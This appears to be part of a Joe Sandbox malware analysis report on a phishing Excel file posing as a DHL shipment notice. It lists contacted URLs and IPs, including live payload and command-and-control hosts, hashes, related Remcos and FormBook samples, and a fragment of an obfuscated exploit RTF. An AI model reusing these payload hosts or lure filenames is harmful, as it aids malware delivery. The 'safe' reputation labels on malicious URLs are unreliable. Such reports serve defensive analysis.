                  http://www.nirsoft.netRegAsm.exe, 0000000D.00000002.465341899.0000000000354000.00000004.00000010.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://deff.nelreports.net/api/report?cat=msnbhv8C29.tmp.13.drfalse
                  • URL Reputation: safe
                  		unknown
                  https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.jsbhv8C29.tmp.13.drfalse
                  • URL Reputation: safe
                  		unknown
                  http://198.46.176.133powershell.exe, 0000000A.00000002.453534408.000000000268C000.00000004.00000800.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.comRegAsm.exe, 0000000F.00000002.462301939.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://cache.btrll.com/default/Pix-1x1.gifbhv8C29.tmp.13.drfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://pr-bh.ybp.yahoo.com/sync/msft/1614522055312108683bhv8C29.tmp.13.drfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://www.google.comRegAsm.exe, RegAsm.exe, 0000000F.00000002.462301939.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://geoplugin.net/json.gp/Cpowershell.exe, 0000000A.00000002.454145693.0000000004188000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  http://o.aolcdn.com/ads/adswrappermsni.jsbhv8C29.tmp.13.drfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://cdn.taboola.com/libtrc/msn-home-network/loader.jsbhv8C29.tmp.13.drfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://www.msn.com/?ocid=iehpbhv8C29.tmp.13.drfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://contoso.com/powershell.exe, 0000000A.00000002.454145693.0000000003579000.00000004.00000800.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  https://nuget.org/nuget.exepowershell.exe, 0000000A.00000002.454145693.0000000003579000.00000004.00000800.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  https://www.msn.com/en-us/homepage/secure/silentpassport?secure=false&lc=1033bhv8C29.tmp.13.drfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://static.chartbeat.com/js/chartbeat.jsbhv8C29.tmp.13.drfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://www.msn.com/de-de/?ocid=iehpbhv8C29.tmp.13.drfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_90%2Cw_120%2Cc_fill%2Cg_faces:auto%bhv8C29.tmp.13.drfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://login.yahoo.com/config/loginRegAsm.exefalse
                  • URL Reputation: safe
                  		unknown
                  http://www.nirsoft.net/RegAsm.exe, 0000000F.00000002.462301939.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 0000000A.00000002.453534408.0000000002551000.00000004.00000800.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  https://contextual.media.net/803288796/fcmain.js?&gdpr=1&cid=8CUT39MWR&cpcd=2K6DOtg60bLnBhB3D4RSbQ%3bhv8C29.tmp.13.drfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://www.imvu.com/QKRegAsm.exe, 0000000F.00000002.462205602.000000000022C000.00000004.00000010.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://geoplugin.net/json.gp:YRegAsm.exe, 0000000C.00000002.970273090.0000000000895000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://p.rfihub.com/cm?in=1&pub=345&userid=1614522055312108683bhv8C29.tmp.13.drfalse
                    		unknown
                    http://192.3.176.154/50/screensimplethingstohandlecream.gIFjEQNEDT32.EXE, 00000008.00000002.438712158.000000000032F000.00000004.00000020.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://ib.adnxs.com/pxj?bidder=18&seg=378601&action=setuids(bhv8C29.tmp.13.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    https://cvision.media.net/new/286x175/3/72/42/210/948f45db-f5a0-41ce-a6b6-5cc9e8c93c16.jpg?v=9bhv8C29.tmp.13.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_80%2Ch_334%2Cw_312%2Cc_fill%2Cg_faces%2Ce_shbhv8C29.tmp.13.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://tny.wtf/tny.wtf.url.3.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://cdn.taboola.com/libtrc/impl.thin.277-63-RELEASE.jsbhv8C29.tmp.13.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://nuget.org/NuGet.exepowershell.exe, 0000000A.00000002.454145693.0000000003579000.00000004.00000800.00020000.00000000.sdmpfalse
                    • URL Reputation: safe
                    		unknown
                    https://www.ccleaner.com/go/app_cc_pro_trialkeybhv8C29.tmp.13.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://tny.wtf/dg4Zx.1DHL Shipment Notification 490104998009.xlsfalse
                    • Avira URL Cloud: safe
                    		unknown
                    https://contextual.media.net/8/nrrV73987.jsbhv8C29.tmp.13.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://www.imvu.comRegAsm.exe, RegAsm.exe, 0000000F.00000002.462301939.0000000000400000.00000040.80000000.00040000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.462631426.0000000000959000.00000004.00000020.00020000.00000000.sdmpfalse
                    • URL Reputation: safe
                    		unknown
                    https://contoso.com/Iconpowershell.exe, 0000000A.00000002.454145693.0000000003579000.00000004.00000800.00020000.00000000.sdmpfalse
                    • URL Reputation: safe
                    		unknown
                    https://contextual.media.net/bhv8C29.tmp.13.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://widgets.outbrain.com/external/publishers/msn/MSNIdSync.jsbhv8C29.tmp.13.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBSKZM1Y&prvid=77%2bhv8C29.tmp.13.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://www.msn.com/bhv8C29.tmp.13.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:aubhv8C29.tmp.13.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    https://dc.ads.linkedin.com/collect/?pid=6883&opid=7850&fmt=gif&ck=&3pc=true&an_user_id=591650497549bhv8C29.tmp.13.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://geoplugin.net/json.gp(YRegAsm.exe, 0000000C.00000002.970273090.0000000000895000.00000004.00000020.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://cdn.at.atwola.com/_media/uac/msn.htmlbhv8C29.tmp.13.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    https://www.google.com/accounts/serviceloginRegAsm.exefalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://dis.criteo.com/dis/usersync.aspx?r=7&p=3&cp=appnexus&cu=1&url=http%3A%2F%2Fib.adnxs.com%2Fsetbhv8C29.tmp.13.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    https://policies.yahoo.com/w3c/p3p.xmlbhv8C29.tmp.13.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://192.3.176.154powershell.exe, 0000000A.00000002.459029787.0000000008211000.00000004.00000800.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://go.microsoft.ckpowershell.exe, 0000000A.00000002.452808668.000000000032C000.00000004.00000020.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://www.msn.com/advertisement.ad.jsbhv8C29.tmp.13.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://www.ebuddy.comRegAsm.exe, RegAsm.exe, 0000000F.00000002.462301939.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                    • URL Reputation: safe
                    		unknown

                    World Map of Contacted IPs

                    • No. of IPs < 25%
                    • 25% < No. of IPs < 50%
                    • 50% < No. of IPs < 75%
                    • 75% < No. of IPs

                    Public IPs

                    IPDomainCountryFlagASNASN NameMalicious
                    192.3.176.154
                    		unknownUnited States
                    		36352AS-COLOCROSSINGUStrue
                    188.114.97.3
                    		tny.wtfEuropean Union
                    		13335CLOUDFLARENETUStrue
                    188.114.96.3
                    		unknownEuropean Union
                    		13335CLOUDFLARENETUSfalse
                    198.46.176.133
                    		unknownUnited States
                    		36352AS-COLOCROSSINGUSfalse
                    178.237.33.50
                    		geoplugin.netNetherlands
                    		8455ATOM86-ASATOM86NLfalse
                    192.3.101.142
                    		maveing.duckdns.orgUnited States
                    		36352AS-COLOCROSSINGUStrue

                    General Information

                    Joe Sandbox version:40.0.0 Tourmaline
                    Analysis ID:1482980
                    Start date and time:2024-07-26 13:17:40 +02:00
                    Joe Sandbox product:CloudBasic
                    Overall analysis duration:0h 11m 34s
                    Hypervisor based Inspection enabled:false
                    Report type:full
                    Cookbook file name:defaultwindowsofficecookbook.jbs
                    Analysis system description:Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
                    Number of analysed new started processes analysed:17
                    Number of new started drivers analysed:1
                    Number of existing processes analysed:0
                    Number of existing drivers analysed:0
                    Number of injected processes analysed:0
                    Technologies:
                    • HCA enabled
                    • EGA enabled
                    • GSI enabled (VBA)
                    • AMSI enabled
                    Analysis Mode:default
                    Analysis stop reason:Timeout
                    Sample name:DHL Shipment Notification 490104998009.xls
                    Detection:MAL
                    Classification:mal100.phis.troj.spyw.expl.evad.winXLS@15/33@9/6
                    EGA Information:
                    • Successful, ratio: 100%
                    HCA Information:
                    • Successful, ratio: 99%
                    • Number of executed functions: 181
                    • Number of non-executed functions: 318
                    Cookbook Comments:
                    • Found application associated with file extension: .xls
                    • Found Word or Excel or PowerPoint or XPS Viewer
                    • Attach to Office via COM
                    • Active ActiveX Object
                    • Active ActiveX Object
                    • Scroll down
                    • Close Viewer
                    • Override analysis time to 46992.4088853971 for current running targets taking high CPU consumption
                    • Override analysis time to 93984.8177707942 for current running targets taking high CPU consumption
                    • Override analysis time to 187969.635541588 for current running targets taking high CPU consumption

                    Warnings

                    • Exclude process from analysis (whitelisted): mrxdav.sys, dllhost.exe, rundll32.exe, WMIADAP.exe, conhost.exe
                    • Not all processes where analyzed, report is missing behavior information
                    • Report size exceeded maximum capacity and may have missing behavior information.
                    • Report size exceeded maximum capacity and may have missing disassembly code.
                    • Report size getting too big, too many NtOpenKeyEx calls found.
                    • Report size getting too big, too many NtQueryValueKey calls found.
                    • Report size getting too big, too many NtReadVirtualMemory calls found.
                    • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                    • VT rate limit hit for: DHL Shipment Notification 490104998009.xls

                    Simulations

                    Behavior and APIs

                    TimeTypeDescription
                    07:19:09API Interceptor43x Sleep call for process: EQNEDT32.EXE modified
                    07:19:11API Interceptor8x Sleep call for process: wscript.exe modified
                    07:19:12API Interceptor32x Sleep call for process: powershell.exe modified
                    07:19:18API Interceptor12446083x Sleep call for process: RegAsm.exe modified

                    LLM Input / Output

                    InputOutput
                    URL: Office document Model: gpt-4o
                    ```json
{
  "riskscore": 8,
  "reasons": "The screenshot contains a visually prominent message with the Microsoft Office logo and the text 'This document is protected'. This can mislead users into thinking they need to click on a link or button to view the document. The text creates a sense of urgency or necessity to access the document, which is a common tactic used in phishing attacks. The use of the Microsoft Office logo impersonates a well-known brand, adding to the credibility of the phishing attempt. The combination of these elements suggests a high risk of phishing."
}

                    Joe Sandbox View / Context

                    IPs

                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                    192.3.176.154Purchase Inquiry.xla.xlsxGet hashmaliciousRemcosBrowse
                    • 192.3.176.154/xampp/glo/KBV.txt
                    188.114.97.3Purchase Inquiry.xla.xlsxGet hashmaliciousRemcosBrowse
                    • tny.wtf/
                    AWD 490104998518.xlsGet hashmaliciousRemcosBrowse
                    • tny.wtf/sA
                    RFQ#51281AOLAI.xlsGet hashmaliciousFormBook, PureLog StealerBrowse
                    • tny.wtf/
                    RFQ#51281AOLAI.xlsGet hashmaliciousFormBook, PureLog StealerBrowse
                    • tny.wtf/
                    #U00d6DEME TAVS#U0130YES#U0130.xlsGet hashmaliciousRemcosBrowse
                    • tny.wtf/4Gs
                    Notepad3_v6.23.203.2.exeGet hashmaliciousAmadey, GO BackdoorBrowse
                    • downloaddining2.com/h9fmdW6/index.php
                    Quotation.exeGet hashmaliciousFormBookBrowse
                    • www.bahisanaliz16.xyz/ty31/?nfuxZr=JoA2dMXfLBqFXt4x+LwNr+felGYfgJXJPNkjuKbt07zo6G2Rowrau43mkNbOTfffhSkjLsiciQ==&v6AxO=1bjHLvGh8ZYHMfZp
                    LisectAVT_2403002B_412.exeGet hashmaliciousFormBookBrowse
                    • www.whatareyoucraving.com/drbb/
                    AVISO DE PAGO.xlsGet hashmaliciousUnknownBrowse
                    • tny.wtf/pqv2p
                    AVISO DE PAGO.xlsGet hashmaliciousUnknownBrowse
                    • tny.wtf/pqv2p
                    188.114.96.3Purchase Inquiry.xla.xlsxGet hashmaliciousRemcosBrowse
                    • tny.wtf/c8lH8
                    AWD 490104998518.xlsGet hashmaliciousRemcosBrowse
                    • tny.wtf/sA
                    waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xlsGet hashmaliciousGuLoader, RemcosBrowse
                    • hq.ax/Oi8
                    RFQ#51281AOLAI.xlsGet hashmaliciousFormBook, PureLog StealerBrowse
                    • tny.wtf/dGa
                    RFQ#51281AOLAI.xlsGet hashmaliciousFormBook, PureLog StealerBrowse
                    • tny.wtf/
                    Quotation.xlsGet hashmaliciousRemcosBrowse
                    • tny.wtf/jjJsPX
                    xptRc4P9NV.exeGet hashmaliciousUnknownBrowse
                    • api.keyunet.cn/v3/Project/appInfo/65fc6006
                    LisectAVT_2403002B_448.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                    • www.universitetrading.com/hfhf/?6lBX5p6=0/2bsV2tZWehMRII3oIkv/ztWj8eLfm1RPHJ5DhA9wGKWMCN0u1aqYIHkCdH1AqUUdYe&Kjsl=FbuD_t_HwtJdin
                    LisectAVT_2403002B_89.exeGet hashmaliciousCobaltStrikeBrowse
                    • cccc.yiuyiu.xyz/config.ini
                    54.xlsGet hashmaliciousFormBookBrowse
                    • tny.wtf/

                    Domains

                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                    tny.wtfPurchase Inquiry.xla.xlsxGet hashmaliciousRemcosBrowse
                    • 188.114.97.3
                    AWD 490104998518.xlsGet hashmaliciousRemcosBrowse
                    • 188.114.96.3
                    RFQ#51281AOLAI.xlsGet hashmaliciousFormBook, PureLog StealerBrowse
                    • 188.114.96.3
                    RFQ#51281AOLAI.xlsGet hashmaliciousFormBook, PureLog StealerBrowse
                    • 188.114.96.3
                    Quotation.xlsGet hashmaliciousRemcosBrowse
                    • 188.114.96.3
                    #U00d6DEME TAVS#U0130YES#U0130.xlsGet hashmaliciousRemcosBrowse
                    • 188.114.97.3
                    AVISO DE PAGO.xlsGet hashmaliciousUnknownBrowse
                    • 188.114.97.3
                    AVISO DE PAGO.xlsGet hashmaliciousUnknownBrowse
                    • 188.114.97.3
                    AVISO DE PAGO.xlsGet hashmaliciousUnknownBrowse
                    • 188.114.97.3
                    PO S0042328241130.xlsGet hashmaliciousRemcosBrowse
                    • 188.114.97.3
                    geoplugin.netPurchase Inquiry.xla.xlsxGet hashmaliciousRemcosBrowse
                    • 178.237.33.50
                    AWD 490104998518.xlsGet hashmaliciousRemcosBrowse
                    • 178.237.33.50
                    waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xlsGet hashmaliciousGuLoader, RemcosBrowse
                    • 178.237.33.50
                    Payment Advice__HSBC Banking.pdf.lnkGet hashmaliciousRemcosBrowse
                    • 178.237.33.50
                    C1ZsNxSer8.exeGet hashmaliciousRemcosBrowse
                    • 178.237.33.50
                    Quotation.xlsGet hashmaliciousRemcosBrowse
                    • 178.237.33.50
                    LisectAVT_2403002A_101.exeGet hashmaliciousRemcosBrowse
                    • 178.237.33.50
                    LisectAVT_2403002A_407.exeGet hashmaliciousRemcosBrowse
                    • 178.237.33.50
                    LisectAVT_2403002A_431.exeGet hashmaliciousRemcosBrowse
                    • 178.237.33.50
                    IAENMAIL-A4-240717-0830-000090912_PDF.exeGet hashmaliciousRemcosBrowse
                    • 178.237.33.50

                    ASNs

                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                    CLOUDFLARENETUSPRZELEW BANKOWY.xlsGet hashmaliciousUnknownBrowse
                    • 172.67.149.169
                    Fire Safety Partnership.pdfGet hashmaliciousHTMLPhisherBrowse
                    • 104.17.25.14
                    Purchase Inquiry.xla.xlsxGet hashmaliciousRemcosBrowse
                    • 188.114.96.3
                    AWD 490104998518.xlsGet hashmaliciousRemcosBrowse
                    • 188.114.96.3
                    TNS71092E68UI0.vbeGet hashmaliciousFormBookBrowse
                    • 104.21.29.136
                    https://click.pstmrk.it/3s/www.rxeffect.com/xrJC/8OO2AQ/AQ/7b025ed7-37dd-46f9-8a3c-79d484929f8e/1/x7UnC8G8B9Get hashmaliciousUnknownBrowse
                    • 104.16.117.116
                    waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xlsGet hashmaliciousGuLoader, RemcosBrowse
                    • 188.114.96.3
                    IRqsWvBBMc.exeGet hashmaliciousAmadey, VidarBrowse
                    • 104.21.72.79
                    SecuriteInfo.com.Win32.RATX-gen.11894.20893.exeGet hashmaliciousFormBookBrowse
                    • 172.67.134.182
                    https://rtntrack.rediff.com/click?url=___https://www.firstpost.com/health/covid-19-puts-kidney-patients-at-high-risk-as-poor-immunity-ill-equipped-dialysis-centres-exposes-patients-to-infection-8627161.html___&service=instasearch&clientip=66.249.79.152&pos=readfullarticle&Ruw=&Rl=&q=&destinationurl=https://My.ha51000.com/.de/c2FsbHkuYmVldHlAcXVpbHRlci5jb20=Get hashmaliciousPhisherBrowse
                    • 188.114.96.3
                    CLOUDFLARENETUSPRZELEW BANKOWY.xlsGet hashmaliciousUnknownBrowse
                    • 172.67.149.169
                    Fire Safety Partnership.pdfGet hashmaliciousHTMLPhisherBrowse
                    • 104.17.25.14
                    Purchase Inquiry.xla.xlsxGet hashmaliciousRemcosBrowse
                    • 188.114.96.3
                    AWD 490104998518.xlsGet hashmaliciousRemcosBrowse
                    • 188.114.96.3
                    TNS71092E68UI0.vbeGet hashmaliciousFormBookBrowse
                    • 104.21.29.136
                    https://click.pstmrk.it/3s/www.rxeffect.com/xrJC/8OO2AQ/AQ/7b025ed7-37dd-46f9-8a3c-79d484929f8e/1/x7UnC8G8B9Get hashmaliciousUnknownBrowse
                    • 104.16.117.116
                    waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xlsGet hashmaliciousGuLoader, RemcosBrowse
                    • 188.114.96.3
                    IRqsWvBBMc.exeGet hashmaliciousAmadey, VidarBrowse
                    • 104.21.72.79
                    SecuriteInfo.com.Win32.RATX-gen.11894.20893.exeGet hashmaliciousFormBookBrowse
                    • 172.67.134.182
                    https://rtntrack.rediff.com/click?url=___https://www.firstpost.com/health/covid-19-puts-kidney-patients-at-high-risk-as-poor-immunity-ill-equipped-dialysis-centres-exposes-patients-to-infection-8627161.html___&service=instasearch&clientip=66.249.79.152&pos=readfullarticle&Ruw=&Rl=&q=&destinationurl=https://My.ha51000.com/.de/c2FsbHkuYmVldHlAcXVpbHRlci5jb20=Get hashmaliciousPhisherBrowse
                    • 188.114.96.3
                    AS-COLOCROSSINGUSPRZELEW BANKOWY.xlsGet hashmaliciousUnknownBrowse
                    • 192.227.225.166
                    Purchase Inquiry.xla.xlsxGet hashmaliciousRemcosBrowse
                    • 198.46.176.133
                    AWD 490104998518.xlsGet hashmaliciousRemcosBrowse
                    • 198.46.176.133
                    waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xlsGet hashmaliciousGuLoader, RemcosBrowse
                    • 104.168.45.34
                    IRqsWvBBMc.exeGet hashmaliciousAmadey, VidarBrowse
                    • 198.46.178.145
                    file.exeGet hashmaliciousVidarBrowse
                    • 198.46.178.145
                    C1ZsNxSer8.exeGet hashmaliciousRemcosBrowse
                    • 23.95.60.82
                    Quotation.xlsGet hashmaliciousRemcosBrowse
                    • 23.95.60.82
                    #U00d6DEME TAVS#U0130YES#U0130.xlsGet hashmaliciousRemcosBrowse
                    • 198.46.176.133
                    BilseMHALF.rtfGet hashmaliciousUnknownBrowse
                    • 172.245.123.11

                    JA3 Fingerprints

                    ⊘No context

                    Dropped Files

                    ⊘No context

                    Created / dropped Files

                    C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD (copy)

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                    File Type:data
                    Category:dropped
                    Size (bytes):131072
                    Entropy (8bit):0.025565602724808192
                    Encrypted:false
                    SSDEEP:6:I3DPcZmPu2kbvxggLRxWmORXv//4tfnRujlw//+GtluJ/eRuj:I3DPYmPu2kbDmvYg3J/
                    MD5:9403308976CCA29DB8DF7DA4D5FAD156
                    SHA1:55C50AC833038A2836D1BC0103F5D54A51F04DBA
                    SHA-256:96FC388EC5D7B6CED8C7E9F6D1DC24DAA745E61EEF6D9DC7228FE0B1F8F3285C
                    SHA-512:D4790FDA5536657E73962A62CA5DC870304E229CD65850E438A245845E2254283A0E3FA74DFDBD748B6AEDAC6ECA3C68ED12EAFE34A20098275936DF1F367516
                    Malicious:false
                    Reputation:low
                    Preview:......M.eFy...z=.."...K..zM...S,...X.F...Fa.q..............................U...]I...(..;$........:.P...K.y.j.e.......................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                    C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                    Download File
                    Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):4760
                    Entropy (8bit):4.834060479684549
                    Encrypted:false
                    SSDEEP:96:RCJ2Woe5u2k6Lm5emmXIGxgyg12jDs+un/iQLEYFjDaeWJ6KGcmXSFRLcU6/KD:cxoe5uVsm5emdOgkjDt4iWN3yBGHydcY
                    MD5:838C1F472806CF4BA2A9EC49C27C2847
                    SHA1:D1C63579585C4740956B099697C74AD3E7C89751
                    SHA-256:40A844E6AF823D9E71A35DFEE1FF7383D8A682E9981FB70440CA47AA1F6F1FF3
                    SHA-512:E784B61696AB19C5A178204A11E4012A9A29D58B3D3BF1D5648021693883FFF343C87777E7A2ADC81B833148B90B88E60948B370D2BB99DEC70C097B5C91B145
                    Malicious:false
                    Reputation:moderate, very likely benign file
                    Preview:PSMODULECACHE............Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script...............T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

                    C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                    Download File
                    Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):64
                    Entropy (8bit):0.34726597513537405
                    Encrypted:false
                    SSDEEP:3:Nlll:Nll
                    MD5:446DD1CF97EABA21CF14D03AEBC79F27
                    SHA1:36E4CC7367E0C7B40F4A8ACE272941EA46373799
                    SHA-256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
                    SHA-512:A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
                    Malicious:false
                    Preview:@...e...........................................................

                    C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\iamtotalnewpersontogetmebackwithentirenewthingstounderstandhowmuchkissineedtodosoican_________sheisbeautifulgirleverthings[1].doc

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                    File Type:Rich Text Format data, version 1
                    Category:dropped
                    Size (bytes):99423
                    Entropy (8bit):2.791497690568363
                    Encrypted:false
                    SSDEEP:768:7wD3LgZhLO24H7ZaPXAQm1++7Lkq9+EH0T0Rbu:7s3LgZhLZ4bZ2ADY+H8EHxRy
                    MD5:25A6C39DBC117A7596C857DBEC4E5D93
                    SHA1:7F72C84FB222F0DD96A31E78B34473BDE3E0FC81
                    SHA-256:A0A088DDEFEA91B081CE3EEF407D62A9EBBAB95B010C23D4AFCBAED4896EA61F
                    SHA-512:14B5C53097767E1ABA16CE2E5F25A0C7A66CB1011303BEA0BDDC1D9B08B50A20AEFCE7C87F643721EB7331FCEAFD85E1A24B4DB2F3D6569939008CE1A394B1E6
                    Malicious:true
                    Yara Hits:
                    • Rule: INDICATOR_RTF_MalVer_Objects, Description: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents., Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\iamtotalnewpersontogetmebackwithentirenewthingstounderstandhowmuchkissineedtodosoican_________sheisbeautifulgirleverthings[1].doc, Author: ditekSHen
                    Antivirus:
                    • Antivirus: Avira, Detection: 100%
                    Preview:{\rtf1............{\mrSp675231630 \=}.{\127717550<?7?]?4)['5*?~@/0.$?5|[%5|<%!/$0!6%5!48-&._+?65[#_.%/4?4../_?)/2#...+$?._4]?&[,?]5%?&??~;(...8.@.>?48&'[:./-<):;1$-64$2?5504?:*_]???%%??6[!//2+5@.5?*250'%0<-^]9'.`(._/3$;.?16?>5/|009?!@.^.8&7!?.%*)!%$.2;8(%@?]_(.]'*5=$11%?(678|..*.~!.?~(=`'.?^@+:#+5$7?7)`.%?'/>|[06>!9^(;+(?.?/82%|`<(9+7~.1?1]@%<2^2/.*^?`_.?[^/0&75#[?+#%5$7#]?41.~2==8'7|3'?2`.$3??^?.4<=%8:]36;):5|7+4*]%,%%!(?82_.?:|$_966?$`[46>7+??..@%:.`?+?83%2&?)-)16;?6,[!=3'7;1]%|?.43=5%^%5~_46>.,`)6$(,%?34,%_%&]*?`!:<9~5-9?;`$>,79%?,)&6'>6)|??)??-0^.;.69.9#/?69[94'4+1[';87#!$^@`2]>_<`355./@|^'46,.~2.[9(+?-?'.1/+?-#6@.<(..??<.,&%*,29/4.+$.=;.55=1!),.?*5~-8_0[662'+?;5?'|0#^/^%@.)?31=9?_:>%.2??'`2_[_.>!@]#!>|:45[?4568~!6.!.&26>9?96]'#[%?$2,.?.=(.*41/.%?,5@`?]2]|(8,#4)@..&(^..]%<=7'(46+_?#[_=^?3;'$~+];?*$[]&?%>*?$(9_2.7?$..+:^-2?!.;35?'.:.~?#:@.7??!2&,--1=15=[:12/11:4|91%~21#<.,.@)3]?03+'#!|*>~7&..~686#]`].)-.>(`=:5<_1*?(?/4_?)###6(/):3*%,$$1:)?.1!'5;+[?[*)'9-/?^620(|<64&@_4?:(9~#9`?]1&[1

                    C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\json[1].json

                    Download File
                    Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    File Type:JSON data
                    Category:dropped
                    Size (bytes):962
                    Entropy (8bit):5.013811273052389
                    Encrypted:false
                    SSDEEP:12:tklu+mnd6CsGkMyGWKyGXPVGArwY307f7aZHI7GZArpv/mOAaNO+ao9W7iN5zzkk:qlu+KdRNuKyGX85jvXhNlT3/7AcV9Wro
                    MD5:18BC6D34FABB00C1E30D98E8DAEC814A
                    SHA1:D21EF72B8421AA7D1F8E8B1DB1323AA93B884C54
                    SHA-256:862D5523F77D193121112B15A36F602C4439791D03E24D97EF25F3A6CBE37ED0
                    SHA-512:8DF14178B08AD2EDE670572394244B5224C8B070199A4BD851245B88D4EE3D7324FC7864D180DE85221ADFBBCAACB9EE9D2A77B5931D4E878E27334BF8589D71
                    Malicious:false
